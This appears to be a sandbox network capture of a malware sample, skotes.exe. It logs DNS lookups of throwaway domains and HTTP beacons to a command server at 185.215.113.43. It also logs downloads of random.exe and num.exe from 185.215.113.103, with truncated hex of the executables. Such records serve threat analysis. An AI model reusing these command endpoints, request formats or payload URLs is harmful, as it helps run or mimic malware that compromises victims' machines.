Oct 7, 2024 13:28:12.476286888 CEST	192.168.2.5	1.1.1.1	0xd443	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.506220102 CEST	192.168.2.5	1.1.1.1	0xe472	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.527965069 CEST	192.168.2.5	1.1.1.1	0x8dd8	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:27.803071022 CEST	192.168.2.5	1.1.1.1	0x46bf	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:58.334466934 CEST	192.168.2.5	1.1.1.1	0xd904	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:29:42.292156935 CEST	192.168.2.5	1.1.1.1	0xc496	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:30:15.366297960 CEST	192.168.2.5	1.1.1.1	0xfe94	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:30:56.588448048 CEST	192.168.2.5	1.1.1.1	0x56b1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 13:27:12.960525990 CEST	1.1.1.1	192.168.2.5	0x16cb	No error (0)	youtube.com			65	IN (0x0001)	false
Oct 7, 2024 13:27:12.960937023 CEST	1.1.1.1	192.168.2.5	0xb9d2	No error (0)	youtube.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.976733923 CEST	1.1.1.1	192.168.2.5	0x2ead	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:13.977093935 CEST	1.1.1.1	192.168.2.5	0x8ed1	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:27:13.977093935 CEST	1.1.1.1	192.168.2.5	0x8ed1	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Oct 7, 2024 13:27:17.497678041 CEST	1.1.1.1	192.168.2.5	0xaedc	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:17.498514891 CEST	1.1.1.1	192.168.2.5	0x1d9d	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 13:27:22.194632053 CEST	1.1.1.1	192.168.2.5	0xfb7d	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:27:22.194695950 CEST	1.1.1.1	192.168.2.5	0x5f17	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:27:22.194695950 CEST	1.1.1.1	192.168.2.5	0x5f17	No error (0)	www3.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:23.291935921 CEST	1.1.1.1	192.168.2.5	0x954c	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.065713882 CEST	1.1.1.1	192.168.2.5	0xf1fd	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.132200956 CEST	1.1.1.1	192.168.2.5	0x6bed	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.150373936 CEST	1.1.1.1	192.168.2.5	0xeacd	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.280772924 CEST	1.1.1.1	192.168.2.5	0xe3d8	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.295488119 CEST	1.1.1.1	192.168.2.5	0x3bde	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.319840908 CEST	1.1.1.1	192.168.2.5	0x870	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.332590103 CEST	1.1.1.1	192.168.2.5	0x8fbd	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.357129097 CEST	1.1.1.1	192.168.2.5	0x1fdd	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:30.411539078 CEST	1.1.1.1	192.168.2.5	0xff2a	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:31.828598976 CEST	1.1.1.1	192.168.2.5	0x752c	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:31.828598976 CEST	1.1.1.1	192.168.2.5	0x752c	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:46.422595978 CEST	1.1.1.1	192.168.2.5	0x8b0c	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:46.422595978 CEST	1.1.1.1	192.168.2.5	0x8b0c	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.637001991 CEST	1.1.1.1	192.168.2.5	0x4548	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.649307013 CEST	1.1.1.1	192.168.2.5	0x457	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.663172007 CEST	1.1.1.1	192.168.2.5	0x4141	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.673862934 CEST	1.1.1.1	192.168.2.5	0xfed7	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.685074091 CEST	1.1.1.1	192.168.2.5	0xc8f5	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.697563887 CEST	1.1.1.1	192.168.2.5	0x1197	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.709836960 CEST	1.1.1.1	192.168.2.5	0x6243	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.733421087 CEST	1.1.1.1	192.168.2.5	0xf15e	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:27:49.746637106 CEST	1.1.1.1	192.168.2.5	0xb934	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:05.141803026 CEST	1.1.1.1	192.168.2.5	0xf7b3	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.394505024 CEST	1.1.1.1	192.168.2.5	0x5788	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.406745911 CEST	1.1.1.1	192.168.2.5	0x39c3	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.439662933 CEST	1.1.1.1	192.168.2.5	0x7b2b	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.452202082 CEST	1.1.1.1	192.168.2.5	0xaa8b	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.463633060 CEST	1.1.1.1	192.168.2.5	0x6bac	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.474009991 CEST	1.1.1.1	192.168.2.5	0x11a0	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.502980947 CEST	1.1.1.1	192.168.2.5	0xd443	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.521595955 CEST	1.1.1.1	192.168.2.5	0xe472	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:12.535319090 CEST	1.1.1.1	192.168.2.5	0x8dd8	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:27.811717987 CEST	1.1.1.1	192.168.2.5	0x46bf	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:28:58.341228962 CEST	1.1.1.1	192.168.2.5	0xd904	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:29:42.299678087 CEST	1.1.1.1	192.168.2.5	0xc496	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:30:15.373502970 CEST	1.1.1.1	192.168.2.5	0xfe94	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:30:56.597554922 CEST	1.1.1.1	192.168.2.5	0x56b1	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

otelrules.azureedge.net

youtube.com

www.youtube.com

fs.microsoft.com

https:

www.bing.com

accounts.youtube.com

play.google.com

www.google.com

steamcommunity.com

sergei-esenin.com

self.events.data.microsoft.com

185.215.113.43

185.215.113.103

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49904	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:03.991909027 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:27:04.696310997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49920	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:06.206204891 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:27:07.513062000 CEST	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 30 33 33 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 35 62 31 63 37 37 33 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 33 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 36 62 31 64 38 36 62 64 64 34 66 35 39 62 33 31 64 65 31 35 34 34 31 23 31 30 30 30 33 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 66 65 61 31 63 36 37 65 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1000332001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e5b1c773dd534db057eb410a494d9d#1000336001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e6b1d86bdd4f59b31de15441#1000349001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4fea1c67edd534db057eb410a494d9d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49925	185.215.113.103	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:07.522275925 CEST	56	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 13:27:08.244772911 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 07 Oct 2024 11:12:25 GMT ETag: "e0600-623e1187eed72" Accept-Ranges: bytes Content-Length: 919040 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 c2 03 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"Vw@`[@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Oct 7, 2024 13:27:08.244786978 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$D
Oct 7, 2024 13:27:08.244801998 CEST	1236	IN	Data Raw: 59 c3 b9 04 25 4d 00 e8 9d 98 00 00 68 3f 24 44 00 e8 d5 ef 01 00 59 c3 56 8b f1 8d 4e 18 e8 b4 87 00 00 8d 4e 08 e8 ac 87 00 00 6a 28 56 e8 e2 ec 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 ec 38 c7 05 30 14 4d 00 74 c9 49 00 33 d2 c7 05 9c 18 4d Data Ascii: Y%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMMMYMMM3MTMXM\M`MdMh
Oct 7, 2024 13:27:08.244879961 CEST	1236	IN	Data Raw: 04 e8 82 e8 01 00 8b f3 c7 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff 0f 87 f1 0f 04 00 ff b7 40 fd ff ff 89 9f 44 Data Ascii: L@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Oct 7, 2024 13:27:08.244966030 CEST	1236	IN	Data Raw: 15 4d 00 6a 0a 89 0d 38 15 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d 00 89 0d 4c 15 4d 00 c3 55 8b ec 57 8b f9 80 Data Ascii: Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&N
Oct 7, 2024 13:27:08.244982004 CEST	1236	IN	Data Raw: 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 ec 00 8d 45 ec 83 65 f4 00 56 83 ce ff c7 45 Data Ascii: 3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9X
Oct 7, 2024 13:27:08.245132923 CEST	1236	IN	Data Raw: fe ff ff e9 1e 04 04 00 8b 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc Data Ascii: ]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@
Oct 7, 2024 13:27:08.245145082 CEST	1236	IN	Data Raw: 89 07 8d 4f 10 8b 46 04 89 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 10 89 41 1c 89 51 18 89 41 2c 8b c1 89 51 20 Data Ascii: OFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~
Oct 7, 2024 13:27:08.245157957 CEST	1236	IN	Data Raw: 03 00 56 57 68 ff 7f 00 00 8d 85 00 00 ff ff 8b fa 50 ff 31 ff 15 0c c2 49 00 8b f0 8b cf 8d 85 00 00 ff ff 50 e8 7d 3d 00 00 85 f6 5f 0f 95 c0 5e c9 c3 55 8b ec b8 58 00 01 00 e8 60 f1 03 00 a0 64 13 4d 00 56 8b 75 08 57 8b f9 88 47 02 83 7e 04 Data Ascii: VWhP1IP}=_^UX`dMVuWG~"uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]&
Oct 7, 2024 13:27:08.245170116 CEST	1000	IN	Data Raw: 6a 00 50 8b f9 e8 b2 f0 01 00 8b 45 14 83 c4 0c 8b 8f d0 09 00 00 33 f6 89 4d fc 6a 08 5b 6a 01 5a 2d 00 02 00 00 0f 85 eb fb 03 00 6a 40 5e 6a f5 8b cf e8 10 00 00 00 85 77 0c 0f 85 9f fc 03 00 5f 5e 5b c9 c2 10 00 55 8b ec 51 53 56 57 6a 14 8b Data Ascii: jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^[UVjUYa~uNN^]FHUVEPPh
Oct 7, 2024 13:27:08.249732971 CEST	1236	IN	Data Raw: 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 4d 00 e8 Data Ascii: SVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud#M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49951	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:11.561312914 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50003	185.215.113.103	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:27:20.603820086 CEST	53	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.103
Oct 7, 2024 13:27:21.293797016 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:27:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT ETag: "4cc00-6233dc0bf3e80" Accept-Ranges: bytes Content-Length: 314368 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 7, 2024 13:27:21.293812037 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dEPtX
Oct 7, 2024 13:27:21.293824911 CEST	1236	IN	Data Raw: fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 ff 15 90 a7 64 00 8d 8d f8 fb ff ff e8 40 95 Data Ascii: REPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]UQMEPM
Oct 7, 2024 13:27:21.293881893 CEST	1236	IN	Data Raw: 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d Data Ascii: BRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
